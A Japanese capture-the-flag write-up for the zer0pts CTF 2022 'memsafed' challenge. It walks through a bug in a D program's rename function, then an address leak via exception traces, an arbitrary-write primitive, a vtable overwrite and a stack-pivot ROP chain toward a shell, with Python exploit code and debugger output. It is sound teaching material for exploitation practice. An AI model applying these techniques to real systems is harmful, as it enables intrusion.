---
# System prepended metadata

title: memsafed@zer0pts CTF 2022
tags: [ctf, writeup, pwn]

---

# memsafed@zer0pts CTF 2022 

###### tags: `writeup`,`ctf`,`pwn`
D言語を使ったpwn問. C/C++以外のpwnをやりたくて探してたら見つけた. 
問題/Writeupともに動作確認できたので供養. 


## 参考にしたWriteup
https://kileak.github.io/ctf/2022/zer0pts-memsafed/
https://hackmd.io/@ptr-yudai/H13yUaISY#MemSafeD---zer0pts-CTF-2022 (Author's Writeup)

## 配布物
ビルド済みのバイナリの他に, D言語のソースコードと`Makefile`もついていた. 
ライブラリや`Dockerfile`は無い. 

ソースコードは以下の通り. 
```D
import std.stdio;
import std.format;
import std.range;
import std.typecons;
import std.algorithm;

// @safe ensures memory safety, yay!
// https://dlang.org/spec/memory-safe-d.html
@safe:

/* Polygon struct */
alias vertex = Tuple!(int, int);
struct Polygon
{
private:
  vertex[] _vertices; // List of vertex

public:
  this(ulong n) {
    if (n <= 2) // Dots and lines are not polygon
      throw new Exception("Invalid number of vertices");
    _vertices = new vertex[n];
  }
  ~this() {}

  /* Convert this structure into string (@trusted for sink) */
  void toString(scope void delegate(const(char)[]) sink,
                FormatSpec!char fmt) const @trusted {
    if (fmt.spec != 's')
      throw new Exception("Unknown format specifier: %" ~ fmt.spec);

    sink("[ Polygon: ");
    foreach (vertex v; _vertices) {
      sink(format("(%d,%d) ", v[0], v[1]));
    }
    sink("]");
  }

  /* Set the position of a vertex */
  void set_vertex(ulong index, vertex v) {
    if (index > _vertices.length - 1)
      throw new Exception("Invalid index");

    _vertices[index] = v;
  }
}

/* We need to wrap `readf` in a trusted function
   because it's @system and not thread safe */
vertex read_vertex(string msg) @trusted {
  int x, y;
  write(msg);
  readf("(%d, %d)\n", x, y);
  return tuple(x, y);
}

ulong read_ul(string msg) @trusted {
  ulong i;
  write(msg);
  readf("%d\n", i);
  return i;
}

string read_str(string msg) @trusted {
  string s;
  write(msg);
  readf("%s\n", s);
  return s;
}

/* Create a new polygon */
void polygon_new(ref Polygon[string] ps) {
  string name = read_str("Name: ");

  ulong n = read_ul("Number of vertices: ");

  Polygon p = Polygon(n);
  for (ulong i = 0; i < n; i++) {
    vertex v = read_vertex(format("vertices[%d] = ", i));
    p.set_vertex(i, v);
  }

  ps[name] = p;
}

/* Show a polygon */
void polygon_show(ref Polygon[string] ps) {
  string name = read_str("Name: ");

  if (!(name in ps)) // Not found
    throw new Exception("No such polygon: " ~ name);

  writeln(ps[name]);
}

/* Rename a polygon */
void polygon_rename(ref Polygon[string] ps) {
  string old_name = read_str("(old) Name: ");
  string new_name = read_str("(new) Name: ");

  if (!(old_name in ps)) // Not found
    throw new Exception("No such polygon: " ~ old_name);

  Polygon p;
  move(ps[old_name], p); // Make a copy

  if (new_name in ps) {
    // Ask when new name already exists
    writeln("Do you want to overwrite the existing polygon?");
    writeln(new_name, " --> ", ps[new_name]);

    string answer = read_str("[y/N]: ");
    if (answer[0] != 'Y' && answer[0] != 'y')
      return;
  }

  // Remove original polygon and move to target
  ps.remove(old_name);
  ps[new_name] = p;
}

/* Edit a vertex in a polygon */
void polygon_edit(ref Polygon[string] ps) {
  string name = read_str("Name: ");

  if (!(name in ps)) // Not found
    throw new Exception("No such polygon: " ~ name);

  ulong index = read_ul("Index: ");
  vertex v = read_vertex(format("vertices[%d] = ", index));
  ps[name].set_vertex(index, v);
}

/* Delete a polygon */
void polygon_delete(ref Polygon[string] ps) {
  string name = read_str("Name: ");

  if (!(name in ps)) // Not found
    throw new Exception("No such polygon: " ~ name);

  ps.remove(name);
}

/* Entry point! (@trusted for setvbuf) */
void main() @trusted
{
  Polygon[string] ps;

  stdin.setvbuf(0, _IONBF);
  stdout.setvbuf(0, _IONBF);

  writeln("  o  o");
  writeln(" / __ \\");
  writeln(" \\|@@\\/");
  writeln("  || \\\\");
  writeln("  ||_//");
  writeln("  |__/");
  writeln("  / \\");
  writeln("  `o b");
  writeln("1. New");
  writeln("2. Show");
  writeln("3. Rename");
  writeln("4. Edit");
  writeln("5. Delete");

  while (true) {
    ulong choice;
    try {
      choice = read_ul("> ");
    } catch (Exception e) {
      break;
    }

    try {
      switch (choice) {
      case 1: polygon_new(ps); break;
      case 2: polygon_show(ps); break;
      case 3: polygon_rename(ps); break;
      case 4: polygon_edit(ps); break;
      case 5: polygon_delete(ps); break;
      default: return;
      }
    } catch (Exception e) {
      writeln("[ERROR] ", e);
    }
  }
}
```

また`Makefile`は以下(`Not Important`と書いてあるのでExploitには不要？私は使わなかった)
```Makefile!
# Not important but just for your reference:
# - https://dlang.org/download.html (v2.098.0)
# - https://dlang.org/dmd-linux.html
chall: main.d
	dmd main.d -of=chall -O -release -inline -check=off
	mv chall ../distfiles
	cp main.d ../distfiles
	cp Makefile ../distfiles
```

## 初動解析
バイナリの`checksec`はこんな感じ

```shell=
root@Ubu2004x64:now# checksec /mnt/hgfs/ar_ctf/zer0pts_ctf_2022/memsafed/chall 
[!] Missing file `rp-lin-x64-v2`
GEF for linux ready, type `gef' to start, `gef config' to configure
197 commands loaded for GDB 9.2 using Python engine 3.8
Reading symbols from /mnt/hgfs/ar_ctf/zer0pts_ctf_2022/memsafed/chall...
(No debugging symbols found in /mnt/hgfs/ar_ctf/zer0pts_ctf_2022/memsafed/chall)
[+] checksec for '/mnt/hgfs/ar_ctf/zer0pts_ctf_2022/memsafed/chall'
Static/Dynamic                : Dynamic
Stripped                      : No (The symbol remains)
Canary                        : Disabled
NX                            : Enabled
PIE                           : Enabled
RELRO                         : Full RELRO
Fortify                       : Not Found
Intel CET                     : Not Found (endbr64/endbr32 is not found)
RPATH                         : Not Found
RUNPATH                       : Not Found
System ASLR                   : Enabled (randomize_va_space: 2)
root@Ubu2004x64:now# 
```
+ `Canary`無効
+ `NX`有効
+ `Full-RELRO`
+ `PIE`有効

さて`D`言語の言語仕様などよくわかってないが, こういうよくわからない言語でビルドされたpwnは範囲外参照を真っ先に疑う.今回の問題で使えそうな関数は, `set_vertex`関数だろう. 
しかし`set_vertex`関数の定義を見てみると, `index`に長さチェックがある. 
```D
  void set_vertex(ulong index, vertex v) {
    if (index > _vertices.length - 1)★_vertices.lengthを偽装可能？
      throw new Exception("Invalid index");
    _vertices[index] = v;
  }
```
メンバ`_vertices`は, `Polygon`オブジェクトが確保された時, 長さが決定するようだ. 
```d
public:
  this(ulong n) {
    if (n <= 2) // Dots and lines are not polygon
      throw new Exception("Invalid number of vertices");
    _vertices = new vertex[n];★n > 2なら長さnの配列を作成している. 
  }
```

## バグ解析
わかりにくいが, `polygon_rename`関数にUAFがある. 
:::success
2022/12/09 追記
これ, UAFではなく、NULL Pointer Dereferenceと呼ぶらしい. 
:::
```d
void polygon_rename(ref Polygon[string] ps) {
  string old_name = read_str("(old) Name: ");
  string new_name = read_str("(new) Name: ");

  if (!(old_name in ps)) // Not found
    throw new Exception("No such polygon: " ~ old_name);

  Polygon p;
  move(ps[old_name], p); // Make a copy


  if (new_name in ps) { 
    writeln("Do you want to overwrite the existing polygon?");
    writeln(new_name, " --> ", ps[new_name]);
    string answer = read_str("[y/N]: ");
    // ★BUG: 
    // ps[old_name]は初期化されているけれど, 
    // ps.removeを呼び出さなければ, ps[old_name]はまだ参照可能.
    if (answer[0] != 'Y' && answer[0] != 'y') 
      return;
  }

  ps.remove(old_name);
  ps[new_name] = p;
}
```

`// Make a copy`とコメントが記載されているが, `move`関数はコピー元のオブジェクトを初期化してしまう. 
:::warning
![](https://i.imgur.com/Bimpjd2.png)
:::


ロジック的には、`new_name in ps`が真かつ上書きしない場合, `move`せずに`return`するべきだが, 上書き要否にかかわらず`move`するため, `ps[old_name]`は初期化された`Polygon`オブジェクトで上書きされる. 
初期化された,`Polygon`オブジェクトは`_vertices.length == 0`であるため, `._vertices.length - 1 == -1`となり, `set_vertex`関数の
```D
    if (index > 0xffff_ffff_ffff_ffff)
      throw new Exception("Invalid index");
```
をバイパスできる. 

整理すると`set_vertex`のインデックスチェックをバイパスする方針は以下の通りだ.
1. `hoge`(適当なキー)で`polygon`を作成する
2. `rename('hoge', 'hoge')`で上書きしないで関数を抜ける. 
3. `hoge.set_vertex(index. vertex)`を呼び出す. 

これで範囲外書き込みが可能になった. 
## Exploit方針
#### アドレスリーク
PIEなので, コードのベースアドレスをリークしたい. 
`main`関数で例外をすべて`writeln`(標準出力に書き出し)していることに注目しよう. 
```D
    try {
      switch (choice) {
          case 1: polygon_new(ps); break;
          case 2: polygon_show(ps); break;
          case 3: polygon_rename(ps); break;
          case 4: polygon_edit(ps); break;
          case 5: polygon_delete(ps); break;
          default: return;
      }
    } catch (Exception e) {
      writeln("[ERROR] ", e); // ★ここで例外をstdoutに書き出し
    }
```
D言語では例外にアドレスが載ってくるらしく, 適当に例外を発生させればすぐにリークできる. 
私は, 存在しない要素の`vertex`を`delete`しようとして以下の結果を得た. 
```shell=
root@Ubu2004x64:now# nc localhost 1337
  o  o
 / __ \
 \|@@\/
  || \\
  ||_//
  |__/
  / \
  `o b
1. New
2. Show
3. Rename
4. Edit
5. Delete
> 5
Name: fuga
[ERROR] object.Exception@main.d(139): No such polygon: fuga
----------------
??:? _Dmain [0x55d077587307] ## ★デバッガで見るとわかるが, これはコード領域のアドレス. 
> 
```
つまり以下のようなコードでバイナリのベースを抜くことができる. 
```python
"""
gef> codebase
------------------------------------------------------------- Code base -------------------------------------------------------------
$codebase = 0x55d0774e5000
$piebase = 0x55d0774e5000
gef> p/x 0x55d077587307 - $codebase
$1 = 0xa2307
gef> 
"""
ofs_dmain = 0xa2307
sendline(f, '5')                   
sendline_after(f, 'Name:', 'fuga') 
leak = readuntil(f, '>')           
codebase = 0
for line in leak.decode().splitlines():
  m = re.search('_Dmain \[(\S+)\]', line)
  if m:
    leak = int(m.group(1), 16)
    codebase = leak - ofs_dmain  
    break
dbg("codebase")
```
実際に打ち込むと以下のような感じ. (`localhost:1337`でsocatを立てている.)
```shell=
## 別端末で, socat TCP-L:1337,reuseaddr,fork SYSTEM:"./chall"
root@Ubu2004x64:now# ./x.py 
[*] local-> 127.0.0.1 1337
[*] codebase: 0x558f46e86000
```
これでアドレスリークを達成できた. 

### 任意書き込みの作成
次に, 任意のアドレスへの書き込みPrimitiveを作りたい. 
まずは`polygon`クラス内部でどのように, `_vertices`メンバがメモリ確保しているのかを確かめよう. 

ソースコード上では, `_vertices`は`(int, int)`の`Tuple`で確保されているのがわかる. 
```D
alias vertex = Tuple!(int, int);
```
[D言語の公式サイト](https://dlang.org/spec/type.html#basic-data-types)に基本的なデータ型の説明がある. 
Dには`int`/`unsigned int`の区別が存在し, `int`型は32bitの符号付き整数とされている.
そのため, 1つの`vertex`は以下のようなメモリ配置になっていると推測できる. 
> 64bit かつリトルエンディアン想定
```
`Polygon`クラスを, 
vertex[0] = (0xdead00, 0xcafe00) # どちらも32bitのsigned intで正の値. 
vertex[1] = (0xdead01, 0xcafe01)
vertex[2] = (0xdead02, 0xcafe02)
vertex[3] = (0xdead03, 0xcafe03)
と確保したとする. 

以下のようなメモリレイアウトなのではないか？
            |<------ QWORD -------->| 
vertex[0] : | 0xcafe00 |  0xdead00  | <-- リトルエンディアンなので右から左へ
vertex[1] : | 0xcafe01 |  0xdead01  |
vertex[2] : | 0xcafe02 |  0xdead02  |
vertex[3] : | 0xcafe03 |  0xdead03  |
```
例えば, `vertex[0]`を`unsigned long`キャストしてみると, `(0xdead00, 0xcafe00)`はメモリ上で`0x00cafe0000dead00`と確保されていると予想できる. 
実際にデバッガで試してみた結果が以下. 
```
gef> search-pattern 0x00cafe0000dead00 (unsigned longキャストしたvertex[0])
[+] Searching '\x00\xad\xde\x00\x00\xfe\xca\x00' in memory
[+] In (0x7f39acdf1000-0x7f39acef4000), permission=rw-
  0x7f39acdf5000 - 0x7f39acdf5008  ->   "\x00\xad\xde\x00\x00\xfe\xca\x00"
gef> x/8gx  0x7f39acdf5000(これは私の環境ではlibc直上のセグメント)
0x7f39acdf5000: 0x00cafe0000dead00      0x00cafe0100dead01★vertex[0], vertex[1]
0x7f39acdf5010: 0x00cafe0200dead02      0x00cafe0300dead03★vertex[2], vertex[3]
0x7f39acdf5020: 0x0000000000000000      0x2000000000000000
0x7f39acdf5030: 0x0000000000000004      0x00007f39acdf2010
gef> 
```
予想はあってそうだ. このことから, `vertex[i]`に任意のQWORDな値を書き込む場合, 次のように書くことができる. 
```python
def u2s(x):
    """ convert unsinged int -> signed int (DWORD) """
    tmp = struct.pack('<I', x)
    return struct.unpack('<i', tmp)[0]

def dpack(a):
    l = u2s(a&0xffffffff)
    h = u2s(a >> 32)
    #print(f"({h:#x}, {l:#x})")
    return (l, h)
```

さて, 次に`set_vertex`で指定する`index`がどのようにアドレッシングされるのか見ていく. 
上記の範囲外参照で, `Polygon`
```
edit('hoge', 0xdeadbeef, dpack(0xcafebabe))
```
とすると, 関数`_D3std8typecons__T5TupleTiTiZQl__T8opAssignTSQBrQBq__TQBkTiTiZQBsZQBgMFNaNbNcNiNfKQBmZQBq`内でクラッシュする. 
関数にブレークポイントを仕掛けて, ブレークした時の`context`を見ると以下のような感じ. 
```
[ Legend: Modified register | Code | Heap | Stack | String ]
----------------------------------------------------------------------------------------------------------------------- registers ----
$rax   : 0xcafebabe        
$rbx   : 0xdeadbeef        
$rcx   : 0xffffffffffffffff 
$rdx   : 0x0               
$rsp   : 0x00007fffffffde48  ->  0x00005555555f6203 <D main+0x72b>  ->  0x9d8d4800000144e9
$rbp   : 0x00007fffffffe010  ->  0x00007fffffffe030  ->  0x00007fffffffe070  ->  0x00007fffffffe0a0  ->  ...
$rsi   : 0x00007fffffffdfc8  ->  0x00000000cafebabe★
$rdi   : 0x6f56df778 ★0xdeadbeef * 8
$rip   : 0x0000555555600804 <_D3std8typecons__T5TupleTiTiZQl__T8opAssignTSQBrQBq__TQBkTiTiZQBsZQBgMFNaNbNcNiNfKQBmZQBq>  ->  0x8b08890e8bf88948
$r8    : 0xd117a78f8daeb4c8
$r9    : 0x00007ffff7c7e000  ->  0xd117a78f8daeb4c8
$r10   : 0x00005555556b60b0 <_D4core8internal2gc4impl12conservativeQw7binsizeyG15s>  ->  0x0040003000200010
$r11   : 0x246             
$r12   : 0x00007ffff7c7c040  ->  0x0000000000000000
$r13   : 0x6f56df778       
$r14   : 0x00007fffffffdf90  ->  0x00000000cafebabe
$r15   : 0x00007fffffffdf94  ->  0xffffdf8000000000
$eflags: 0x282 [identification align virtualx86 resume nested overflow direction INTERRUPT trap SIGN zero adjust parity carry] [Ring=3]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 
--------------------------------------------------------------------------------------------------------------------------- stack ----
0x00007fffffffde48|+0x0000(000): 0x00005555555f6203 <D main+0x72b>  ->  0x9d8d4800000144e9  <-  retaddr[1]  <-  $rsp
0x00007fffffffde50|+0x0008(001): 0xffffffffffffffff
0x00007fffffffde58|+0x0010(002): 0x00007fffffffe210  ->  0x00007fffffffe2a0  ->  0x00007fffffffe2c0  ->  ...
0x00007fffffffde60|+0x0018(003): 0x00007fffffffe230  ->  0x0000555555673830 <__libc_csu_init>  ->  0x8d4c5741fa1e0ff3
0x00007fffffffde68|+0x0020(004): 0x00007fffffffe107  ->  0x0055555562905f00
0x00007fffffffde70|+0x0028(005): 0x0000000000000001
0x00007fffffffde78|+0x0030(006): 0x0000000000000001
0x00007fffffffde80|+0x0038(007): 0x00007ffff7c7d000  ->  0x0000000000000008
--------------------------------------------------------------------------------------------------------------------- code:x86:64 ----
    0x555555600800 5d                 <_D3std4conv__T8textImplTAyaTQeTkTQjTmTQoZQBbFNaNbNfQBbkQBfmQBjZQBn+0xf0>   pop    rbp 
    0x555555600801 c3                 <_D3std4conv__T8textImplTAyaTQeTkTQjTmTQoZQBbFNaNbNfQBbkQBfmQBjZQBn+0xf1>   ret     
    0x555555600802 0000               <NO_SYMBOL>            add    BYTE PTR [rax], al 
 -> 0x555555600804 4889f8             mov    rax, rdi 
    0x555555600807 8b0e               mov    ecx, DWORD PTR [rsi] 
    0x555555600809 8908               mov    DWORD PTR [rax], ecx 
    0x55555560080b 8b5604             mov    edx, DWORD PTR [rsi+0x4] 
    0x55555560080e 895004             mov    DWORD PTR [rax+0x4], edx 
    0x555555600811 c3                 ret     
------------------------------------------------------------------------------------------------------------------------- threads ----
[#0] Id 1, Name: "chall", stopped 0x555555600804 in _D3std8typecons__T5TupleTiTiZQl__T8opAssignTSQBrQBq__TQBkTiTiZQBsZQBgMFNaNbNcNiNfKQBmZQBq (), reason: BREAKPOINT
--------------------------------------------------------------------------------------------------------------------------- trace ----
[#0] 0x555555600804 -> _D3std8typecons__T5TupleTiTiZQl__T8opAssignTSQBrQBq__TQBkTiTiZQBsZQBgMFNaNbNcNiNfKQBmZQBq()
[#1] 0x5555555f6203 -> D main()
--------------------------------------------------------------------------------------------------------------------------------------
gef> 
```
この関数は, 実質, `mov QWORD PTR [rdi], QWORD PTR [rsi]`を実施していることに等しい. 
また,2つのレジスタ`rdi/rsi`の値は, 
`rdi` : `edit`関数呼び出し時の`index`
`rsi` : `edit`関数呼び出し時の`vertex=(int<<32 | int)`
として制御可能であるため, これで任意書き込みができたことになる. 

整理すると, 以下のような感じで任意書き込みができる. 
1. `new`で適当にPolygonオブジェクトを作成
    - 名前を`"hoge"`とする. 
3. `rename`で`old_name = new_name = "hoge"`として`Overwrite`しないを選択. 
4. `edit`でPolygon`"hoge"`に値を書き込む時,
    - `index = <書き込みたいアドレス> // 8`
    - `vertex = (<書き込みたいアドレス&0xffff_ffff>, <書き込みたいアドレス>>32>)`

リークまで合わせて, コードは以下のようになる. 
```python=
def dpack(a):
  def u2s(x):
    tmp = struct.pack('<I', x)
    return struct.unpack('<i', tmp)[0]
  
  l = u2s(a&0xffffffff)
  h = u2s(a >> 32)
  #print(f"({h:#x}, {l:#x})")
  return (l, h)


menu()
## leak(delete)
sendline(f, '5')
sendline_after(f, 'Name:', 'fuga')
leak = readuntil(f, '>')
codebase = 0
for line in leak.decode().splitlines():
  m = re.search('_Dmain \[(\S+)\]', line) # 例外からリークしたアドレスを取得
  if m:
    leak = int(m.group(1), 16)
    codebase = leak - ofs_dmain  
    break

## arbitrary address write
new('hoge', 
  [
   (0x00dead00, 0x00cafe00),  # vertex[0]: ここの値は適当で良い. 
   (0x00dead01, 0x00cafe01),  # vertex[1]: ここの値は適当で良い. 
   (0x00dead02, 0x00cafe02),  # vertex[2]: ここの値は適当で良い. 
   (0x00dead03, 0x00cafe03),  # vertex[3]: ここの値は適当で良い. 
  ]
)
rename('hoge', 'hoge', overwrite=False)
edit('hoge',  0xdeadbeef, dpack(0xcafebabe)) # *0xdeadbeef = 0xcafebabe
```

### 任意コード実行へ
RIP制御に持ち込むために, どこを書き換えるのが良いだろうか?

`NX`が有効なので`ROP`に持ち込むのが正攻法だが, 今回の問題ではlibcやライブラリは与えられていない. またバイナリ自身も`PIE`/`Full RELRO`なので,`one_gadget`や`ret2dlresolve`による関数の偽装解決も難しそうだ. 

ROPガジェットを探すと`pop rax; ret`と`syscall`命令が存在するため, 素直に `execve("/bin/sh\0", NULL, NULL)`に持ち込むことにする. 

バイナリのサイズが大きいこと, コードベースのリークを達成できていることから,  
Writable領域に偽装`vtable`を作って, 呼ばれやすい`vtable`ポインタをそちらに向けるのが良いだろう.

[Writeup](https://kileak.github.io/ctf/2022/zer0pts-memsafed/)によると, シェルの起動に持ち込むためには`$codebase+0x14c088`を書き換えるのがよいらしい. 
![](https://drive.google.com/uc?export=view&id=1eKTvHUEnm4G2C1GhVYtXNO5z8z_OHEm-)
> `IDA`でめぼしいシンボルを漁ったところ`vtable`のポインタは他にもありそうだったが, なぜこの`vtable`に着目したかはよくわかっていない. 

`_vertices`の確保時に呼び出される`vtable`ポインタらしく, 上記のリークまで実施後, 書き換えると`new`操作時にクラッシュする.  クラッシュ時の`context`は以下の通り. 

![](https://drive.google.com/uc?export=view&id=15QxQWBGqzmWEGyjqawWH1Ufd49alxTZ8)
:::spoiler 見にくいのでテキストも載せておく. 
```
[ Legend: Modified register | Code | Heap | Stack | String ]
------------------------------------------------------------------------------------------------------------------------------------------ registers ----
$rax   : 0x00007ffff7c7d000  ->  0x0000000000000008
$rbx   : 0x00007fffffffde80  ->  0x00007ffff7c7d000  ->  0x0000000000000008
$rcx   : 0x00005555556a6b50 <internal+0xa0>  ->  0x00005555556a6b50 <internal+0xa0>  ->  [loop detected]
$rdx   : 0x10              
$rsp   : 0x00007fffffffdbd8  ->  0x00005555556281c0 <_aaGetX+0xb0>  ->  0xff789d8948c38948
$rbp   : 0x00007fffffffdcd0  ->  0x00007fffffffdd10  ->  0x00007fffffffde40  ->  0x00007fffffffe010  ->  ...
$rsi   : 0x00007fffffffdd50  ->  0x0000000000000005
$rdi   : 0x00005555556a6b50 <internal+0xa0>  ->  0x00005555556a6b50 <internal+0xa0>  ->  [loop detected]
$rip   : 0x0               
$r8    : 0x00007fffffffdce8  ->  0x9af547cfed6be800
$r9    : 0x614d0168        
$r10   : 0x0               
$r11   : 0x246             
$r12   : 0x00007fffffffdce8  ->  0x9af547cfed6be800
$r13   : 0x00005555556a6b50 <internal+0xa0>  ->  0x00005555556a6b50 <internal+0xa0>  ->  [loop detected]
$r14   : 0x5               
$r15   : 0x00005555556a0070 <initializer for TypeInfo_HAyaS4main7Polygon>  ->  0x00005555556a2210 <vtable for TypeInfo_AssociativeArray>  ->  0x00005555556a2150 <ClassInfo for TypeInfo_AssociativeArray>  ->  0x00005555556a2410 <vtable for TypeInfo_Class>  ->  ...
$eflags: 0x10206 [identification align virtualx86 RESUME nested overflow direction INTERRUPT trap sign zero adjust PARITY carry] [Ring=3]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 
---------------------------------------------------------------------------------------------------------------------------------------------- stack ----
0x00007fffffffdbd8|+0x0000(000): 0x00005555556281c0 <_aaGetX+0xb0>  ->  0xff789d8948c38948  <-  $rsp
0x00007fffffffdbe0|+0x0008(001): 0x00007fffffffdc60  ->  0x00007fffffffdd10  ->  0x00007fffffffde40  ->  ...
0x00007fffffffdbe8|+0x0010(002): 0x0000000000000003
0x00007fffffffdbf0|+0x0018(003): 0x00007ffff7c78230  ->  0x0000000500000004
0x00007fffffffdbf8|+0x0020(004): 0x0000000000000004
0x00007fffffffdc00|+0x0028(005): 0x0000000000000005
0x00007fffffffdc08|+0x0030(006): 0x0000000000000004
0x00007fffffffdc10|+0x0038(007): 0x0000000000000001
---------------------------------------------------------------------------------------------------------------------------------------- code:x86:64 ----
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x0
-------------------------------------------------------------------------------------------------------------------------------------------- threads ----
[#0] Id 1, Name: "chall", stopped 0x0 in ?? (), reason: SIGSEGV
---------------------------------------------------------------------------------------------------------------------------------------------- trace ----
---------------------------------------------------------------------------------------------------------------------------------------------------------
gef>
```
:::
`_aaGetX`関数内でクラッシュしていることがわかる. 
```asm
gef>  bt
#0  0x0000000000000000 in ?? ()
#1  0x00005555556281c0 in _aaGetX ()
#2  0x0000555555628109 in _aaGetY ()
#3  0x00005555555f5072 in _D4main11polygon_newFNfKHAyaSQBb7PolygonZv ()
#4  0x00005555555f5d23 in D main ()
gef> x/50i _aaGetX
~ 略 ~
   0x5555556281b1 <_aaGetX+161>:        mov    r13,QWORD PTR [r15+0x18]
   0x5555556281b5 <_aaGetX+165>:        mov    rdi,r13
   0x5555556281b8 <_aaGetX+168>:        mov    rcx,QWORD PTR [r13+0x0]
   0x5555556281bc <_aaGetX+172>:        rex.W call QWORD PTR [rcx+0x28]★ここで飛んでクラッシュ. 
   0x5555556281c0 <_aaGetX+176>:        mov    rbx,rax
```
この時, `rcx`が制御可能な制御可能なアドレスを指していた. 
ROPに持ち込むために, `rcx`をつかってStack Pivotするガジェットを探すと, 
`$codebase+0x0a459a`にいい感じのガジェットが見つかる. 
```gdb
gef> codebase
----------------------------------------------------------------------- Code base -----------------------------------------------------------------------
$codebase = 0x555555554000
$piebase = 0x555555554000
gef> x/6i $codebase+0x0a459a 
   0x5555555f859a <_D3std5range10primitives__T8popFrontTaZQmFNaNbNiNeMKANgaZv+106>:     push   rcx
   0x5555555f859b <_D3std5range10primitives__T8popFrontTaZQmFNaNbNiNeMKANgaZv+107>:     or     BYTE PTR [rax-0x75],cl
   0x5555555f859e <_D3std5range10primitives__T8popFrontTaZQmFNaNbNiNeMKANgaZv+110>:     pop    rsp
   0x5555555f859f <_D3std5range10primitives__T8popFrontTaZQmFNaNbNiNeMKANgaZv+111>:     and    al,0x8
   0x5555555f85a1 <_D3std5range10primitives__T8popFrontTaZQmFNaNbNiNeMKANgaZv+113>:     add    rsp,0x18
   0x5555555f85a5 <_D3std5range10primitives__T8popFrontTaZQmFNaNbNiNeMKANgaZv+117>:     ret    
gef> 
```
あとは、ROPして上記のガジェットから`Stack Pivot`→`execve("/bin/sh", NULL, NULL)`すればよい. 


### Exploit
最終的なExploitは以下の通り. 

{%gist 1u991yu24k1/5668b1f8ffc230bbbffea549fa1864d6 %}
